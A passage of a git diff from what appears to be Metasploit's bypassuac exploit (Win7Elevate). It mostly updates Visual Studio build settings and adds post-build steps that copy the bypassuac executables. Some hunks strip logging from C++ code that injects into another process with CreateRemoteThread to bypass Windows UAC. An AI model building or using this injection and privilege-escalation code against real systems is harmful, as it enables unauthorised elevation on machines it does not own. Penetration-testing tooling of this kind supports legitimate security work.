       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
@@ -132,6 +154,10 @@
       <Path>
       </Path>
     </BuildLog>
+    <PostBuildEvent>
+      <Command>
+      </Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <ClCompile>
@@ -142,6 +168,7 @@
       <IntrinsicFunctions>true</IntrinsicFunctions>
       <PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
@@ -153,6 +180,10 @@
       <Path>
       </Path>
     </BuildLog>
+    <PostBuildEvent>
+      <Command>
+      </Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemGroup>
     <ClInclude Include="stdafx.h" />
diff --git a/external/source/exploits/bypassuac/Win32/.keep b/external/source/exploits/bypassuac/Win32/.keep
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/external/source/exploits/bypassuac/Win7Elevate.sln b/external/source/exploits/bypassuac/Win7Elevate.sln
old mode 100644
new mode 100755
index 96ab47ee65..2c3139c31e
--- a/external/source/exploits/bypassuac/Win7Elevate.sln
+++ b/external/source/exploits/bypassuac/Win7Elevate.sln
@@ -1,6 +1,8 @@
 
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}"
 	ProjectSection(SolutionItems) = preProject
 		Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt
@@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\
 EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4)
 		Debug|Win32 = Debug|Win32
 		Debug|x64 = Debug|x64
-		Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4)
 		Release|Win32 = Release|Win32
 		Release|x64 = Release|x64
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64
-		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
+		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64
 		{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64
-		{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64
-		{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
+		{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64
 		{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64
-		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64
-		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
+		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32
 		{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp
old mode 100644
new mode 100755
index 4bd0054297..9efefdb568
Binary files a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp and b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp differ
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc
old mode 100644
new mode 100755
index ebf56f1776..545523556a
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc
@@ -61,22 +61,23 @@ END
 
 #ifdef _DEBUG
 
+// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32
 #ifdef _WIN64
-IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\x64\\Debug\\Win7ElevateDll64.dll"
-IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\x64\\Debug\\TIOR64.exe"
+IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll"
+IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\TIOR\\Debug\\x64\\TIOR.x64.exe"
 #else
-IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win32\\Debug\\Win7ElevateDll32.dll"
-IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\Win32\\Debug\\TIOR32.exe"
+IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll"
+IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe"
 #endif
 
 #else // _DEBUG
 
 #ifdef _WIN64
-IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\x64\\Release\\Win7ElevateDll64.dll"
-IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\x64\\Release\\TIOR64.exe"
+IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll"
+IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\TIOR\\Release\\x64\\TIOR.x64.exe"
 #else
-IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win32\\Release\\Win7ElevateDll32.dll"
-IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\Win32\\Release\\TIOR32.exe"
+IDD_EMBEDDED_DLL        BINARY  MOVEABLE PURE   "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll"
+IDD_EMBEDDED_TIOR        BINARY  MOVEABLE PURE   "..\\TIOR\\Release\\Win32\\TIOR.x86.exe"
 #endif
 
 #endif
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
index d1a7d4f0c3..fd69093652 100644
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
   <ItemGroup Label="ProjectConfigurations">
     <ProjectConfiguration Include="Debug|Win32">
       <Configuration>Debug</Configuration>
@@ -28,23 +28,27 @@
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
   <ImportGroup Label="ExtensionSettings">
@@ -63,25 +67,30 @@
   </ImportGroup>
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <LinkIncremental>true</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)32</TargetName>
+    <LinkIncremental>false</LinkIncremental>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
-    <LinkIncremental>true</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)64</TargetName>
+    <LinkIncremental>false</LinkIncremental>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)32</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
     <GenerateManifest>false</GenerateManifest>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)64</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
+    <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
   </PropertyGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <ClCompile>
@@ -96,10 +105,12 @@
       <FunctionLevelLinking>false</FunctionLevelLinking>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
     </Link>
     <BuildLog>
       <Path>
@@ -119,10 +130,12 @@
       <FunctionLevelLinking>false</FunctionLevelLinking>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
     </Link>
     <BuildLog>
       <Path>
@@ -141,12 +154,14 @@
       <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
       <BufferSecurityCheck>false</BufferSecurityCheck>
       <WholeProgramOptimization>false</WholeProgramOptimization>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>false</GenerateDebugInformation>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
+      <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
     </Link>
     <BuildLog>
       <Path>
@@ -155,6 +170,9 @@
     <ResourceCompile>
       <PreprocessorDefinitions>WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     </ResourceCompile>
+    <PostBuildEvent>
+      <Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <ClCompile>
@@ -168,12 +186,14 @@
       <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
       <BufferSecurityCheck>false</BufferSecurityCheck>
       <WholeProgramOptimization>false</WholeProgramOptimization>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>false</GenerateDebugInformation>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
+      <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
     </Link>
     <BuildLog>
       <Path>
@@ -182,6 +202,9 @@
     <ResourceCompile>
       <PreprocessorDefinitions>WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     </ResourceCompile>
+    <PostBuildEvent>
+      <Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemGroup>
     <ClInclude Include="Resource.h" />
@@ -204,7 +227,10 @@
     <ClCompile Include="Win7Elevate_Utils.cpp" />
   </ItemGroup>
   <ItemGroup>
-    <ResourceCompile Include="Win7Elevate.rc" />
+    <ResourceCompile Include="Win7Elevate.rc">
+      <PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
   </ItemGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
   <ImportGroup Label="ExtensionTargets">
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
old mode 100644
new mode 100755
index 4df3f129ba..5aa84f23dd
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
@@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 	if (codeStartAdr >= codeEndAdr)
 	{
 		//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"Unexpected function layout");
 		return;
 	}
 
@@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 	if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
 	{
 		//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"Couldn't get path to self");
 		return;
 	}
 
@@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 	if (S_OK != hr)
 	{
 		//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"SHGetFolderPath failed");
 		return;
 	}
 
@@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 	if (hModKernel32 == 0)
 	{
 		//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"Couldn't load kernel32.dll");
 		return;
 	}	
 
@@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 	||	0 == tfpWaitForSingleObject.f)
 	{
 		//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"Couldn't find API");
 	}
 	else
 	{
@@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 
 				void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
 
-				if (reme.AnyFailures())
-				{
-					//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-					CLogger::LogLine(L"Remote allocation failed");
-				}
-				else
+				if (!(reme.AnyFailures()))
 				{
 					HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
 
-					if (hRemoteThread == 0)
-					{
-						//MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-						CLogger::LogLine(
-							CError::Format( 
-								GetLastError(),
-								L"Couldn't create remote thread", 
-								L"CreateRemoteThread"));
-
-					}
-					else
+					if (hRemoteThread != 0)
 					{
 						if ( Redirector )
 							Redirector();
@@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 							//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
 							else
 							{
-								CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO");
 								// See if it completed before the user asked to stop waiting.
 								// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
 								if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
@@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
 
 	FreeLibrary(hModKernel32);
 
-	if (bThreadWaitFailure)
-	{
-		//MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"Error waiting on the remote thread to complete");
-	}
-	else if (bThreadWaitSuccess)
-	{
-		//MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);
-		CLogger::LogLine(L"Remote thread completed");
-	}
 }
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
old mode 100644
new mode 100755
index 8b8e669843..737602094a
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
@@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
 	if (hSnapshot == INVALID_HANDLE_VALUE)
 	{
 		//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"CreateToolhelp32Snapshot failed");
 	}
 	else
 	{
@@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
 			{
 				DWORD dwErr = GetLastError();
 
-				if (ERROR_NO_MORE_FILES != dwErr)
-				{
-					//MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-					CLogger::LogLine(L"Process32Next/First failed");
-				}
-				else if (mapProcs.empty())
-				{
-					//MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-					CLogger::LogLine(L"Process32Next/First returned nothing");
-				}
-				else
+				if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty()))
 				{
 					bResult = true;
 				}
@@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
 	if (szProcName == NULL)
 	{
 		//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(L"No process name passed in");
 		return false;
 	}
 
@@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
 		}
 
 		//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
-		CLogger::LogLine(strMsg);
+
 
 		return false;
 	}
diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
index 25fbbef26c..e72a94e333 100644
--- a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
+++ b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
   <ItemGroup Label="ProjectConfigurations">
     <ProjectConfiguration Include="Debug|Win32">
       <Configuration>Debug</Configuration>
@@ -28,23 +28,27 @@
     <ConfigurationType>DynamicLibrary</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     <ConfigurationType>DynamicLibrary</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     <ConfigurationType>DynamicLibrary</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     <ConfigurationType>DynamicLibrary</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
   <ImportGroup Label="ExtensionSettings">
@@ -64,25 +68,30 @@
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <LinkIncremental>true</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)32</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)64</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)32</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
     <GenerateManifest>false</GenerateManifest>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)64</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
     <GenerateManifest>false</GenerateManifest>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
+    <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
   </PropertyGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <ClCompile>
@@ -90,11 +99,16 @@
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
       <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <MinimalRebuild>false</MinimalRebuild>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
     </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <ClCompile>
@@ -102,11 +116,16 @@
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
       <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
